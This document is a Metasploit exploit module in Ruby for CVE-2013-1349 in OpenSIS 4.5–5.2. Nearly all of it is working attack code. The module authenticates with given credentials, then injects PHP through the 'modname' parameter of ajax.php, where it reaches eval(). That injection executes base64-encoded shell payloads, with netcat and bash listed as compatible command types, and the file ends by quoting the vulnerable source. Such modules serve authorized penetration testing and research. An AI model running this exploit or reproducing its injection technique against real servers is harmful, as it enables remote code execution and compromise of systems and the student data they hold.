Land #2783 - OpenSIS 'modname' PHP Code Execution
sinn3r
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "OpenSIS 'modname' PHP Code Execution",
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'Description' => %q{
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This module exploits a PHP code execution vulnerability in OpenSIS
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versions 4.5 to 5.2 which allows any authenticated user to execute
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arbitrary PHP code under the context of the web-server user.
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The 'ajax.php' file calls 'eval()' with user controlled data from
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the 'modname' parameter.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'EgiX', # Discovery
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'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
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],
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'References' =>
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[
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['CVE', '2013-1349'],
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['OSVDB', '100676'],
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['URL', 'http://karmainsecurity.com/KIS-2013-10'],
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['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
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}
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => 'none'
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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# Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
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['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 04 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
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OptString.new('USERNAME', [true, 'The username for OpenSIS']),
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OptString.new('PASSWORD', [true, 'The password for OpenSIS'])
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], self.class)
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end
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#
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# Login
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#
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def login(user, pass)
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@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
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print_status("#{peer} - Authenticating as user '#{user}'")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, "index.php"),
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'cookie' => @cookie,
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'vars_post' => Hash[{
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'USERNAME' => user,
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'PASSWORD' => pass,
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}.to_a.shuffle]
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})
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if res and res.code == 200 and res.body =~ /Portal\.php/
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print_good("#{peer} - Authenticated as user '#{user}'")
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return true
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else
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print_error("#{peer} - Authenticating as user '#{user}' failed")
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return false
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end
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end
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#
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# Send command for execution
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#
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def execute_command(cmd, opts = { :php_function => 'system' } )
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code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
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junk = rand_text_alphanumeric(rand(10)+6)
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print_status("#{peer} - Sending payload (#{code.length} bytes)")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'ajax.php'),
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'cookie' => @cookie,
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'vars_post' => {
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'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
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}
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})
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return res
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end
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#
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# Check credentials are valid and confirm command execution
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#
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def check
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return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
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fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
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print_status("#{peer} - Sending check")
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res = execute_command("echo #{fingerprint}")
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if res and res.body =~ /align=center>#{fingerprint}/
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return Exploit::CheckCode::Vulnerable
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elsif res
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return Exploit::CheckCode::Safe
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end
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return Exploit::CheckCode::Unknown
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end
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def exploit
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return unless login(datastore['USERNAME'], datastore['PASSWORD'])
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php_function = [
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'exec',
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'shell_exec',
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'passthru',
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'system'
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].sample
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res = execute_command(payload.encoded, { :php_function => php_function })
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if res and res.code == 200 and res.body =~ /hacking_log/i
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print_good("#{peer} - Payload sent successfully")
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
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end
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end
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end
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#
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# Source
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#
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=begin ajax.php
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90: if(strpos($_REQUEST['modname'],'?')!==false)
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91: {
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92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
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93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
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94:
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95: $vars = explode('?',$vars);
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96: foreach($vars as $code)
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97: {
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98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
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99: eval($code);
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100: }
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101: }
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=end
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